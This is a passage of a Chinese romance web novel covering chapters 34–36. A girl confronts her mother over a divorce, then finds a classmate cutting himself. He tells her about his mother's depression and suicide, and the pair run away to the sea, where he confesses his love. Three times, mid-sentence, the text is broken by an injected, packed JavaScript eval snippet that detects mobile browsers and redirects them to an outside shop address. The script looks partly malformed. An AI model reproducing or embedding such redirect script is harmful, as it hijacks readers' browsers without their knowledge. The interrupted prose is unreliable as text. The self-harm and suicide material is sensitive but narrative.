林语邱语塞,声音戛然而止,眉心间粉底液的折痕变得更长,一块块碎裂。犹如精美瓷杯上出现的龟裂,远看精致美丽,近看布满瑕疵。 “我如果不和你爸结婚,这世界上都不会有你。” “怎么,你作为女儿,现在要来指责亲妈吗?” 和观念不同的人说话果然很累,曲葵呼了口气:“我不是来指责你的。” “你现在就是这个意思。少看不起我,我不欠你和你爸,你——” “离婚吧。”曲葵打断她,“大胆点,今晚就和我爸提离婚,他肯定会同意。去追求你的幸福去,以后也别出现在我和我爸面前,你和他只会吵架,我从小到大,听烦了。” “好。”林语邱哑然听曲葵说完,被胭脂水粉裹住的眼睛里,有水光闪烁,她也许想说点别的,一些解释或者挽留的话,最终只是化作一声,“好。” 她深深看了曲葵一眼,站起来,拿起搭在座椅上的毛呢外套,穿得歪歪扭扭,步伐踉跄着离开了。母女两的争吵数不胜数,大多都是以某方离开作为结束。 唯有这一次,曲葵觉得她挺直的脊背在灯光下,有些弯曲。 只剩曲葵坐在原处,把杯咖啡一口气喝完,喝得急了,液体从唇角滚落,滴在衣服上,氤氲开。 她抽了几张纸,擦掉唇边液体,走出咖啡店。 等在路边的白色轿车早已不见,林语邱就这样一次又一次消失在她的生命里。 曲葵去便利店里买矿泉水,反复涮口中残留的苦味。 真是好苦的咖啡,都分不清到底喝进去几滴泪。 34.血珠 林语邱如她所愿,当天就和曲林提出离婚。 晚上曲葵回家,看见堆在客厅门口的属于林语邱的个人物品,曲葵心知肚明,没有多问,倒是曲林忧心忡忡叫住正要上楼的她:“曲葵,你过来下,爸爸有事要和你说。” 曲葵收回踩在楼梯上的腿,转身回客厅:“什么事?” 入冬后匍匐在泥土、墙角、草丛的昆虫已消失殆尽。随着曲林关闭电视机的动作,整栋房子骤然陷入沉寂,父女两坐在同一条沙发,中间距离隔得很远,隔着曲葵心中油然而生的愧疚。 她不觉得自己错了。 曲林破天荒点燃一根烟,是林语邱经常抽的牌子,曲葵看出来他不喜欢,燃尽前也没吸几口,仿佛只是单纯盯着烟雾,就能想到旧事。 烟蒂被掐灭在烟灰缸,曲林说:“你妈要和我离婚。” “是吗。”曲葵问,“你答应了吗?” 曲林:“我答应了,然后我问她有没有考虑你的感受。”他停顿几秒,似乎怕后半句话会伤到曲葵,最后还是无可奈何说出口,“她说,让你跟着我。” 然而曲葵的失控并没有出现,她语气平静得仿佛早就知道父母二人的关系,本就会以这种方式宣告结束。“挺好的,我也想跟着你。” “我们明天去办离婚手续。”曲林,“很多年前就要离婚了,想着你当时年纪还小……算啦,不说这个了。” 曲葵说:“现在,现在我已经长大了,有什么事情可以和我说,不用拖着,我有自己思考的能力,不用把我当小孩子。” 曲林愣怔片刻,回神说好,过了会儿,曲葵问:“她呢?” “走了,你回家前就走了。” 看来是一眼都不想看见她了,曲葵心中苦笑,站起来,提起书包,“那我先回房间了。” “好。” 曲葵上楼后,先去林语邱房间里待了会,床上被子铺得干净整洁,看上去与平时别无二致,打开柜子便会发现,衣柜空荡荡,只有衣架在摇晃。 她将合上的窗帘拉开,外面路灯光亮透进来,又被贴着磨砂玻璃纸的窗户挡住大半,曲葵伸出一根指头,在窗台上轻轻扫了下,全是灰尘。 随时间推移,家中昭示某个人的生活痕迹彻底消失,看起来似乎曲葵从小到大,只有和曲林共同居住过。 她的生活回归平静,一如既往地保持上学,放学,中午和傍晚的放学期间和同班的学生排练话剧的行动轨迹。 直到那件事的到来。 那是个阴天,没有刮风,教学楼外的香樟树树叶静止在冷空气中,前天擦干净的窗户凝结一层薄薄霜花,被学生用手指画各种图案和文字。 课表第一节是生物,科任老师还没到,早自习上课代表带着学生读课堂笔记。读了几分钟,关上门被猛烈推开,门把撞上墙壁,因惯性折返。 全班不明所以看着站在门口大喘气的王范。 “许一宴呢!?”王范手撑在门上,再次推开,脸色在阴暗尘光里显得煞白,“有没有在教室里?” “应该……没有吧。”第一排的学生扭头扫视教室,迟疑道“他今天不是去参加那什么奥林匹克数学竞赛吗?” 王范什么话都没说,压着眼皮离开,只剩下学生在座位上窃窃私语。 教室里因为班主任突然造访变得乱哄哄,生物课代表连叫了好几遍安静也无济于事,而曲葵想起朱覃说的那件事情,猛然从座位上站起来,好像板凳上有图钉似的,脸上血色褪得干干净净,和离开的王范没什么区别。 徐梅被她动作吓到:“曲葵,你怎么了?” 曲葵大梦惊醒般重新跌回座位:“啊,没事,我没事……” 她在手机屏幕里敲下一串早已烂熟于心的电话号码,祈祷许一宴会接通,但语言提醒只是冷漠地一遍遍重复“您所拨打的电话已关机,请稍后再拨”。 还是发生了。 这么会这样。 “你知道吗?他们说许一宴好像没去参加那个竞赛。”、 曲葵度日如年等到下课,全班几乎都传遍了。 下课铃刚响,曲葵刷地起身,拉开后门冲了出去,半晌像想起什么事似的,回身把书包也拿走。 她提着书包去下楼,朝朱覃教室跑去。朱覃所在的班级在三楼,刚下课,曲葵眼尖,见朱覃从教室里出来,应该是要去卫生间,曲葵快步上前,挡在他面前,开门见山问:“许一宴家住哪?” 朱覃被突然窜出来的曲葵吓了跳,退后两步,站稳了,面带惊讶:“他不是去参加那啥竞赛了吗?你问他家干啥?”朱覃瞅了眼曲葵手上的书包,没反应过来:“你这样,你想干嘛?我去,你不会是想逃课吧!” “溪春苑几栋几单元?” 朱覃报了个住址,开始察觉不对了。 “等等,你要去找他?他不在家啊!” “谢了,朋友。”曲葵道谢,拎着书包转身上楼,朱覃顾不上去厕所,站在楼梯下方过道上仰头问,“是不是出什么事了,需要我帮忙吗?” “没事,你专心上课吧。”曲葵朝他摆摆手,想起什么似的问:“对了,你电话多少?” 她去教师办公室请假,捂着腹部扯谎话,说自己急性肠胃炎犯了,需要去医院看看。王范坐在办公桌前,焦头烂额打电话,分不出神来想她说的话又几分真假。 曲葵捏着请假条,正门出去,寒风萧瑟,卷着一地枯黄树叶。站在路口吹了会冷风才打到车,上车后火急火燎对司机说:“去溪春苑。” 老式出租车里没有空调,关不严的车窗扑进气流,曲葵心头生出强烈的热意,是想快点见到许一宴的渴望。 心中有个声音在告诉她,一定要去找他,必须要去找他,否则她未来绝对会后悔。 “师傅,还能再开快点吗?”曲葵朝司机说。 “快不了姑娘,头顶的监控可拍着呢,有限速,我可不想被罚款。” 曲葵看了眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17056816|191670||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 表盘,时速五十,双手合十,央求道:“能在快点吗叔叔,我真的特别急。” 十分钟后,曲葵站在溪春苑大门口。 这是个高档小区,里面是一栋栋独立精致的复式小别墅。 她早听许一宴家境不错,没想到这么有钱。小区有刷脸门禁,曲葵进不去,看保安也不在。她拿出手机给许一宴打最后一个电话。 依旧是关机的提示音。 心中升腾出躁意,曲葵重重踹在旁边的铁栏杆上,爬藤月季因铁架子抖动簌簌作响。她点开APP给许一宴发消息。 【我来找你了,许一宴。手机关机是吧,你给姐等着。】 发完短信,她看有辆小车从上抬的,紧跟在后方走了进去。 曲葵很快找到朱覃说的门牌号,看着森然紧闭的黑色大门,曲葵深吸一口气,按响门铃。 听到门铃声在屋里回荡,等待几分钟也无人回应。 在朱覃的口述中,他找许一宴是放学后,中午一点左右。现在只有九点,没人在家的可能性很大,可是曲葵不敢赌。 她走远了一点,围着别墅拍下四面图,全部用才彩信的方式发给朱覃,在后面接了句:许一宴房间在哪? 朱覃打电话过来。 “看见二楼有阳台的那屋了吗,那个就是许一宴房间。” “我靠,我听说了,许一宴没去竞赛,你怎么提前知道了?” “靠!不行,我也要来。” 曲葵把电话挂了。 她站在阳台下方空地上,朝二楼喊许一宴名字,不知道是不是房间隔音太好,加上窗帘紧拉,曲葵叫了几声都无济于事。 牙齿咬上嘴皮,无意间 曲葵想到一个很不无耻的办法,这种西式小洋房建的,二楼阳台目测只有三米,下方还有延伸出来的一楼屋檐,和她一样家……还挺好爬。 暗自祈祷别被路过的人当做小毛贼,曲葵飞快在心中感谢初高中经常翻墙爬树的自己。 不远处的小洋房在装修,门前堆了很多红砖,曲葵趁人不注意偷偷搬了些过来垫在脚下,在经历十多次从倾斜倒塌的砖块摔下来之后,曲葵摸清门道,成功抓到阳台边缘,待她费劲九牛二虎之力爬上去,全身都是汗,整个人站都站不稳了。 理智回笼,曲葵才后知后觉清醒自己究竟做了多离谱的举动,刚才因为摔倒,她的两只手都被擦伤,细小伤口里揉着一些红色碎颗粒,外套红灰粉末沾满,胸前布料处不知被什么划出条长长的口子,里面白絮暴露在空气中。曲葵告诉自己别多想,勉强将心里的负罪感抛之脑后。 二楼的阳台后方,是面可以横向推开的玻璃门,曲葵尝试推了推,纹丝不动,被从里面锁住了。 这时她发现窗帘其实没有关严,靠近腹部的高度,露出了条很快的缝隙。凑近了,通过那条缝隙,曲葵似乎看见,被天光照亮的地面上,延伸出去的位置,似乎有几滴血。 曲葵的呼吸停止。 35.游离 “你在做什么!许一宴!” “许一宴!!” 地上,光照亮的鲜红血珠像把尖锐的刀,刺痛曲葵双眼,她剧烈拍打玻璃。 震动的玻璃发出闷响,回荡不绝。 站在尘光中的少年一点点转过头,缓慢她和对上视线。他未被光线照亮的脸上蒙着层难以窥视的阴影,哪怕曲葵看不清他的表情,也能猜到对方脸上此刻,是种怎样的震惊与错愕。 裁纸刀脱手而出,掉落在地,玻璃另一端的曲葵什么都听不见,耳边却仿佛响起了金属物与地面接触,那声震耳欲聋的噪音。 她看见了,许一宴掩盖起来的全部。 曲葵在那声幻觉般的声音中闭上眼睛,再睁时眼里爬上蛛网似的红血丝。 她在许一宴静止的凝视中上下翻找,最后是在地上捡起不知什么时候掉落的手机,曲葵用手机边角敲敲玻璃门,示意许一宴打开,不然自己可能会做出砸碎玻璃的举动。 许一宴站在黑暗中迟迟没动,曲葵心急如焚,手握成拳再次砸向玻璃,纹丝不动,只有骨头被震得发疼,因寒冷泛红。 漫长的等待无比煎熬,不知道过去多少秒钟。她看见站在延伸出几米开外的光线里的那双腿,动了,朝她缓缓踱步而来。 许一宴拉开半边窗帘,左手还在滴血,血珠顺指尖滑落,坠入地面。本人不管不顾,也不正视曲葵眼睛。 锁头往上滑动,下一刻曲葵猛地拉开破璃门,滚轮划动撞击的一串声音归于寂静,两人之间失去了唯一阻隔。 面对面站立,呼吸都不忍变重半分。 曲葵感觉全身力气都卸掉了,一口气吊在胸腔里,不知是不是刚才情绪太剧烈,静下来后有些想吐。双腿在发软,也许只要抬起脚她就能膝盖一弯栽到地上去。 曲葵保持站立姿势,脸色冷沉,对着许一宴微微扬起下巴,不容拒绝的强硬态度:“手上的伤口,让我看看。” 两人之间的沉默好似道无法逾越的沟壑,包扎伤口的过程中谁都没有说话,任由寂静蔓延。 许一宴的伤口不深,没有伤及动脉,很快止了血。只是他在看到曲葵的那一刹那,好像失去语言能力,唯有情绪在眼中翻滚,似有似无的懊悔和无措,嘴唇每一次微微张开,在曲葵以为他要说点什么时,又紧紧闭上。 曲葵在安静空气中重重地呼吸,连带扯出来的还有胸口的痛。掉落在地的裁纸刀装进她的书包里,刀尺收起来前,她用纸擦掉了上面干掉的血迹,从铮亮金属壳子上看见自己扭曲的表情。 在撞见许一宴买那些治疗抑郁症的药片起,她从来没有在主动提过相关的话题,只怕问多了反而会揭开对方的伤口。她在等待许一宴向她倾诉的时刻,但她现在知道了,许一宴哪怕选择用刀划破手,也不会主动告诉她。 她坐在小凳子上,头部微仰,背对大开的窗帘,连天光都照不亮脸上的阴影。 冷觑坐在床上的许一宴,曲葵问:“手机,为什么要关机。” 许一宴收敛心绪,割伤的手上缠着白纱布,被他背在身后,修简圆润的指甲,掐进掌心里还是会觉得痛,也许比皮肉绽开时要痛上很多。 视线在曲葵脸上打了个圈,才想起来自己是会讲话的。 “打来的电话、太多了,听着,很烦。”开口说话时,声音像破了的风箱,嘶哑。 他向来吐字清晰,如今有些含糊不清。 曲葵心间鼓胀发酸,流向四肢百骸,“我给你打了很多电话。” “抱歉。” “要是我晚点到,是不是还打算划得再深点呢。”曲葵咬住上唇,试图平复因翻腾情绪逐渐变得剧烈的呼吸。 “没打算。”许一宴起身,在她面前半跪下来,把她的脸转过来,大拇指在饱满嘴唇上按了下,将上唇从牙齿间解脱:“不要咬自己。” 曲葵凝视他,平日里带着明亮笑意的双眼,此刻只剩下湿意,好像眨个眼就会流下泪。许一宴手指悄然无声滑到她的眼尾处按了按,又在曲葵睫毛震颤时瑟缩。 两人不过两拳相隔,他方才发现曲葵掌心有道干涸的血迹,骤然将曲葵的手翻来,总是波澜不惊的声音拔高:“你受伤了。” 曲葵用力手抽,没抽出来,许一宴拉着她,在床上摊开的那堆医用物品里,抽出棉签盒碘伏,给曲葵消毒。 在她手心的伤口里贴了几个创可贴,许一宴才松开手。 “下次不要这样爬高上梯了,容易受伤。”手指轻轻划过贴着创可贴的细小伤口,像根轻巧羽毛拂过心口,引起一阵战栗。 曲葵嘲道:“是啊,也不及某人自残来的厉害。” “我……”才说一个字,曲葵戳破他竭尽全力扯出来的笑意:“别再装了许一宴。用你真实的那一面对着我。” 闻言,许一宴收敛笑容。嘴唇紧崩像被拉直的线,半晌,他启唇,夹杂含糊不清喃喃:“是啊,反正,你都看到了。” 曲葵眉头微微蹙起,下一刻被大力拉扯,回过神来时整个人窝在许一宴怀里,额头撞上温热胸膛,没被抓住的那支手撑在许一宴大腿上。 曲葵脑子里烟花噼里啪啦炸开,眼睛因惊讶微微睁大。 她被紧紧按在怀中,头顶是许一宴沉重的呼吸气流,尽数喷在颈窝处。她听见许一宴羊绒毛衣下的心脏在咚咚跳动,他卸下伪装,声音比平时低了一个度,尾声微微勾起,像某种诱惑,贴在她耳边说:“你知道吗,曲葵。从那晚你向我表白的时候,我就想这么抱着你。” 回过神来,曲葵在许一宴怀里闷笑:“如果你以后去演戏,搞不好能拿影帝。许一宴,你好有能耐。” 她抬手,安抚性地拍了拍许一宴脊背,察觉到环着她腰的双手收得更紧。曲葵无声轻笑,拉过因许一宴大力拽她下来,倾倒在身后的小凳子,重新坐回去。 许一宴半跪在地,手也没送来,只是凝视着坐在小凳子上,比他高出一点的曲葵。 曲葵将他头部按在自己肩膀上:“手机关机,真的只是觉得吵吗?” “如果你愿意,可以告诉我你的一切,许一宴,不要压在心里。要是你觉得不公平,作为交换,我也告诉你我的事情。” 许一宴只是沉默抱着她,凌乱发丝摩挲着曲葵脖颈。 他的身体在这个拥抱中变得沉重,全身重量几乎都压在曲葵身上。许一宴已经快48小时没有睡觉了,除了因疲惫分外活跃的大脑神经,还有无法快得让他觉得自己在某个时刻就会停止运作的心脏。许一宴觉得自己是不怕的,可看见曲葵站在玻璃外狼狈地看着他时,心中忽然生出害怕的念头。 以及,某种还是让她发现的如释负重。 几个月的相处快而短在瞳孔中杂乱无序地过了一遍,做出的应对是松开了手,任由刀掉落下去。 长久紧绷的弦在这一刻终于得到松懈,许一宴觉得好累,连接身体的每一处骨骼关节都想失去油的螺丝,无法掌控。他闭上眼,呼吸沉重而压抑,液体滴落在脸颊下属于曲葵的衣服上。 “我都告诉你,只要你想知道。” ** 孩童时期,许一宴和母亲住在老式小区拥挤又狭窄的单元楼,最顶层,第五楼,逼仄阴森的楼道里感应灯总是不会亮。每个夜晚经过他都会害怕。 害怕是小孩子无法逃脱的天性,而他最害怕的幼儿园那些小孩在他背后议论,说他没有爸爸。 他也确实没有爸爸,从出生到他七岁之前,都没有见过。 某个六一儿童节,他上幼儿园,听别的小孩炫耀父亲买的礼物,很羡慕,晚饭看着冷冷清清,没有什么生气的起居室,他在餐桌上鼓起勇气问母亲:“我爸爸是不是不要我了?”回答他的是母亲狠狠的一巴掌。 “说过多少次了,你没有爹!”母亲眼圈发红,视网膜上遍布红血丝,一把抓着他的衣领,将他从高高的椅子上拖下来。碗滚落了,瓷片碎裂,筷子甩落在汤中,一声脆响后,桌面上出现油腻的水痕。 “妈妈,我再也不说了。” 母亲速度很快,看着细弱,葱似的手指却让他挣脱不开。他在那双将自己手腕拧得快要断开的五指下,反抗也无济于事。 他被一把甩进房间,后脑勺撞在床沿处,短暂头晕耳鸣,泪在那瞬间挣出来。房门被重重关上,母亲拧钥匙的声音尤为剧烈。 她的话凌乱且没有逻辑:“给我反思你到底错哪了!不,是我错了,是我错了!不该生下你,我才错了!!不想清楚,你今晚别吃晚饭了。” 许一宴去拧门把,门以被从外面锁上了。 “妈妈,我错了!我再也不问了!!”他用力拍着门,试图对母亲认错,而外面能回应他的只是叮铃坠地的东西声音,以及呜呜的哭声。 六一儿童节那天许一宴并没有吃饱,他被关在房间里,透过贴着琉璃窗纸的窗户,望着五彩的天空,只觉得心里升腾出未具名的寒意,像心口漏了风。 那时许一宴还不知道这种感觉名叫孤独。 他没有再问过母亲问题,在母亲面前扮演听话的孩子,想让她变得开心。 可她再也没有开心过,最开始只是哭,眼睛都快哭坏,再然后是大把药,不吃就会伤害自己,吃完后就躺着沙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17063750|191670||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 发或者地上痴痴望着天花板。 有时候精神好点,她会给许一宴做顿好吃的,然而经常在盯着燃气灶上的火发呆,导致烧干了汤,屋子里弥漫糊味。她发了病,将铁锅砸在地上,铁质底部出现一个又一个凹痕。将手探进火焰里,如果不是许一宴回家即使,那只手恐怕就废了。 她抱着许一宴哭,眼泪蜿蜒着流了满脸,从下巴滴到他的头顶,说对不起;说妈妈只是有点不舒服,过一段时间就恢复了;也说他只要好好学习,考第一她就会高兴。 她又骗了他。 因为许一宴拿着100分的成绩单递到她面前,她只是面无表情撕碎,连施舍他一个假的笑容,现在也成为奢望了。 随病情加重,大把药物也无法控制情绪。名为理智的弦崩得再紧,始终有断裂的那天。 七岁生日前夕,母亲给许一宴买了个小蛋糕。她今天打扮过,总是毛毛躁躁的头发梳得很顺,顺着黑色连衣裙,饶是淡妆也遮不住眼下泛青的血管和疲意。可是许一宴没有察觉到。 她用打火机点燃插在蛋糕上的数字蜡烛,7顶部升腾的火焰,照亮关上灯的小客厅,也将那火焰映在眼底,掩盖了火焰下的绝望。 “我的宝贝生日快乐。”她将蛋糕端在许一宴眼前,唇角弯了个浅浅弧度,“闭上眼睛许个愿望吧。” 许一宴受宠若惊,又有些害怕,他注视着母亲,在她温柔的目光中眼睛闭上。 他许的愿望是,妈妈永远高兴,健健康康。 他睡了个好觉。却不知半夜母亲提刀走进了房间,沉默站在他床边,眼泪落在手背上,他没醒。 后半夜噩梦不断,梦里被怪物死死掐着脖颈,怪物对他尖叫,对他说你就不应该活下去,活着好受罪,不要丢下我,和我一起走好不好。 他听出怪物的声音,叫她妈妈。 怪物松开了他。 “你还是活下去吧,替我看看未来。” 对孩子的爱无法抵挡死亡的诱惑,在许一宴迎来七岁的第一天,母亲倒在他床边,流干了血。 他对死亡的初步认识来源于母亲,原来那种如何呼唤都不会得到回应,只有身体余温缓慢地消失在空气里,青灰爬上皮肤,双眼紧闭。原来那就是死亡。 几个星期后,许明念来房子里带走他。对方在进门后看见陈旧的家具和空气中的霉味,脸上露出厌弃:“她就是这么教你的?” 他将他带到很漂亮的房子里,说,以后这里就是你的家,你得叫我爸。 许一宴问他:“为什么不来找我妈,为什么不救她。”得到的冷冰冰一句她自找的。 许一宴失望透顶,恨透了许明念。他从那个看起来漂亮但没一点生气的房子里逃出来几次,被抓回去,关在漆黑的房间里,直到所有情绪都离去,不喊不闹,也有点不会说话了,才当他是妥协了。 许明念不关心许一宴其他东西,唯一上心点的,也就学习。 许一宴察觉后故意撕坏课本,撕烂试卷,考差成绩,以此报复。小孩的手段总是低级可笑,许明念什么都没失去,反倒是他的狗死在眼前。 这是第二次接触到死亡。 后来,他开始出现幻觉。 母亲站在他的面前,割断了血管。尽管只是短短的几秒钟。 那是种什么感觉,刚开始惊骇,陷入暗无天日的恐慌,然后是回忆涌上心头一瞬间的悲痛,最后变得麻木,毕竟生和死的区别,仅仅只是一线之隔。 许一宴知道了,他病了,和母亲一样。 死亡并未离他远去,时时刻刻藏在暗中注视着他,蛊惑他,想将他拉下去。 总有一天,他也会下去。 …… …… “我其实是一个矛盾的人,我渴慕死亡,同时又希望活下去。我有时候害怕有时候期待吗,连我自己都分不清,因为它们都无影无踪。”许一宴向曲葵剖析内心,亲自粉碎伪装出的一切,“这就是真正的我。” 此时此刻,他不禁回忆过去又幻想未来,思考着活下去需要多少勇气,而死亡又需要多少勇气。 如果,他未来某一日于这世界消失不见,会不会有哪怕一个人记着他,还是如同一滴水落进茫茫大海里? 许一宴觉得自己现在是害怕的,因为不能见到曲葵,只是明明将人抱住,也没有实感。 他手上力道丝毫未减,再次收紧,令曲葵生出会被折断的错觉,许一宴与她额头相抵,相望的双眼里对方一举一动清晰可见,她听见许一宴在耳边说:“带着我逃吧,曲葵。” “可怜可怜我。” 36.上升 这是一段始料未及的旅程。 没有出游计划,没有旅行箱,没有告知任何人。凭着一腔冲动和疯长情愫。 这大概是许一宴唯一任性的时候,看起来惊天动地且不计后果。 客运站坐上大巴车,座位靠后且靠窗。 天地幽邃无光,车里每个人看上去都很疲惫,双手揣在兜里,或是环抱在胸前。头顶放着大包小包,放不下的堆在脚边——全被沉沉的暗笼罩着,每个人的眼睛像被一条条黑色的胶带粘着挡住,无法被看清。 大巴车启动不久,许一宴便戴着耳机睡着了,黑色帽檐遮住纤长的睫毛和发青的眼睑。 从家里出来,他话变得很少,视线从不在曲葵身上离开,哪怕走路与坐车,肩膀都要紧贴曲葵,乖得可怜。 身下的座椅随着车轮晃动,曲葵眨着干涩双眼,心中的鼓胀酸意居高不下。 原来这就是她与许一宴之间的相似之处,同样的缺少母爱,同样不被人理解,她至少还有朋友和曲林,许一宴呢,许一宴还有什么? 她该如何劝他不要放弃,告诉他世界很美好他要活下去。 这是她的一己之念,会不会显得太自私? 老旧街道缓慢向后划行。曲葵的羽绒服在刚才划破了,也脏了,身上穿的是许一宴初中时期的衣服,强硬套在她身上的。 同样的黑色,衬着蓝白校服裤子,看上去有些怪异的搭配。 大巴车离开城市,驶向荒野,上了高速路,高架桥上某个急转弯,许一宴脑袋晃动。 期间曲葵一直在低头玩手机,听见身旁布料摩擦声,知道许一宴醒了。他只睡了两小时,眼底的红血丝还未完全褪去。 曲葵递过去矿泉水,本意是让许一宴润润嗓子,结果他把瓶盖拧开,又递回来。 曲葵无奈:“水是给你的。” “哦。”许一宴按了按眉心,反应有些迟钝。 “现在感觉怎么样?”曲葵问,“要不要再睡一会儿?” 许一宴含糊地说了声“嗯”,然后说:“有点晕车。” 曲葵关了手机,身体半转,手背触碰许一宴额头,“还好,没有发烧。” “没发烧就不难受了吗?”许一宴说,“你怎么都不可怜我。” “行吧。”曲葵调整姿势,坐正了,全然是拿你没办法的语气:“靠着我的肩膀睡吧。” 许一宴说“不用”,随后脑袋一点点朝曲葵这边倾斜,直到靠在她身上,他吸吸鼻子,嗓音很低:“你身上有我的味道。” “废话,都穿你衣服了,洗衣液味道能不一样吗?”曲葵扯了把他的帽子,看着被遮住只露出半截脸蛋,每一条线都在阴影中显得更加流畅立体,“不许得寸进尺。” 许一宴说好,又笑了笑,低低的笑声打着旋在曲葵耳边绕,像火苗,令她的耳廓烧起来。他环上曲葵胳膊,很快又睡着,耳机在摩擦中落下一只,曲葵看着它挂在胸前摇晃,半晌也有点困,她捞起许一宴的耳机戴起,听见的是自己在APP上发的那些音乐。 曲葵在昏暗中睁大眼睛,以为自己听错了,音乐放完后的下一首,还是她的。 曲葵点开APP,顺着关注自己的列表一路下滑寻找,忽然指尖一顿,看见一个熟悉的头像和昵称Y。关注时间居然是三年前。 曲葵不知道许一宴有没有把她认出来,要是认出来了,却不说,还让她一遍一遍弹给他听。 曲葵捏了捏许一宴的脸。“许一宴,你真是……” 三个小时后,大巴车到达终点站,他们倒也没有走太远,只是去了临近的木棉市。 下车时,许一宴精神看上去好很多。 “许一宴,去看海吗?” “好。” 两人在附近餐馆填饱肚子,坐上出租车,高架桥上环环绕绕,后来停在环城路上。 下车后,能闻到空气中淡淡的海腥味,站在道路旁路灯下,远远听见潮水拍岸声。 顺着台阶向下,鞋底踩在柔软冷冰的海沙上,下陷,再抬起,沙滩上留有两排浅浅的脚印。 越来越靠近海,曲葵朝前跑了几步,狂乱的风扬起她额前的头发,她干脆将发带解下,任由猛烈而冰凉的海风将黑发吹乱,吹得簌簌吹拂脸颊。于某个瞬间,她抬高手机,指尖勾着的发带被吹落,骤然抛向高空,再也看不见了。 手机录像中的画面随身体旋转而改变,木棉是不像杨明那般天气阴沉,正午的阳光落在海平面上,前方的天际线上落着条摇晃的金黄色光带,后方许一宴缓慢踱步而来,身影在天地间由远及近,靠近她,每一帧都如画。 曲葵有些眼热,忍住了,拍拍脸,牵起唇边的笑意。 “来,对着镜头笑一下。” 她将许一宴拉过来,两人背对阳光与海面。 “幼稚。” “笑一下嘛,你知不知道自己笑起来很好看。”许一宴起初不愿意,架不住曲葵直接上手,两根手指挑起他的嘴角,“真的好看,没有骗你。” 许一宴泄气似的,无可奈何冲着镜头笑了下,说:“好吧,听你的。” 海上有座岛屿,需要坐游轮才能过去,冬天是海岛的淡季,天气冷,乘客少,他们赶上今天最后航程。 曲葵趴在涂着白漆的栏杆上,倾身朝海面望去。许一宴从船舱出来,见她大半身体都悬在外面,三步并作两步走过去,拎着曲葵衣领将她拽回来,尾音带着他没有察觉到的颤意:“别做这种危险的事情。” “我只是想看有没有鱼。”曲葵转过身,并不在意,“可惜我们来的时候是冬天,如果是夏天,也许能见到从千里之外洄游而来的鲸群。” 许一宴板着脸,目光沉沉:“那也不可以。” 曲葵双手向后撑在栏杆上,仰头盯着他看了一会儿,说:“你这么担心我?是不是怕我掉海里再也捞不上来。” 许一宴眉心皱得更深,曲葵抓住他的衣领,将他拉得不住低头,停在两人嘴唇即将贴上的距离。 “在车上的时候,我发现 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17068221|191670||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你听我的歌。” “什么歌。”许一宴别开眼。 曲葵说:“全部。音乐app上的那个serein,是我。”蓦然话锋一转:“许一宴,你是不是喜欢我啊?” 问的太直白也太突然,许一宴把这话在脑子里过了遍,雷击般原地愣住了,脸上没什么表情,耳廓和脸颊在阳光下染上淡淡的红意。 “你怎么……” 不,他应该说是,才对。 还未改口,又听曲葵问:“你担心我,想用什么身份,同学,还是朋友?” 许一宴这次答得倒是很快:“都不想。” “都不想?”曲葵挑眉,尾音上扬,带着笑意去看他,头发被海风吹得纷飞起,丝丝缕缕发尖扫过许一宴的脸颊,带着独属于她的味道。 许一宴想要后退,奈何曲葵没松手。 当然,他看得出来曲葵抓他衣领并没有用力,哪怕他只要微微抬起头,都能挣脱那只手,可他发现自己根本做不到。 退一步,回到朋友或者同学的关系,进一步,不需要如漆似胶但也够亲密。 答案想必明显。 “那你想要什么?”她故意压低的声音带着蛊惑,“许一宴,你想要我们是什么关系?” 许一宴闭上眼,又睁开,深深地看她,天与海的界限在这瞬间消失,万物静谧,窄窄的视网膜内从来都只能容纳这么一个人。 仿若回到高一寒假的某天,他感冒,带着口罩从药店回家,普通的令人厌烦的一天,双腿因生病头昏沉重机械如同灌了铅,每一步都需要很大力气。 忽然从闪着霓虹灯光的店门里闯出一个女孩,正扭头朝里面竖中指,没注意后背就撞到他身上。 她被吓了一跳,对他说了句抱歉,微微睁圆眼睛凑过来看他,假睫毛长得夸张:“你怎么这么眼熟?我们是不是在哪里见过?”说完还想去扯他的口罩。 许一宴后退避开她的动作,正想回答我们是同班的,也许他还想随口问一句,你在这做什么?又觉不该多管闲事。正想离开,见她肩膀上多了条胳膊,刚从里面出来的男生俯身在她耳边说了什么,她笑起来,笑得那么张扬又灿烂。 不过是个普通的同学相遇,许一宴本那个笑刺痛了眼睛和心,真是不知道到底是听到了什么好笑的事情,笑得那么傻,傻得好像在含沙射影地讽刺他从来不敢发自内心地笑。 许一宴走出段距离,忍不住回头。 却再也看不到了。 而现在……她在看他,一言不发,却满眼柔情。 “同学,朋友,都不想。我喜欢你。”话语宣泄而出并无法停止,满心满目都是这个人,两个字说一百遍,千千万万遍又有什么问题。许一宴换了语气,郑重道:“我喜欢你。” 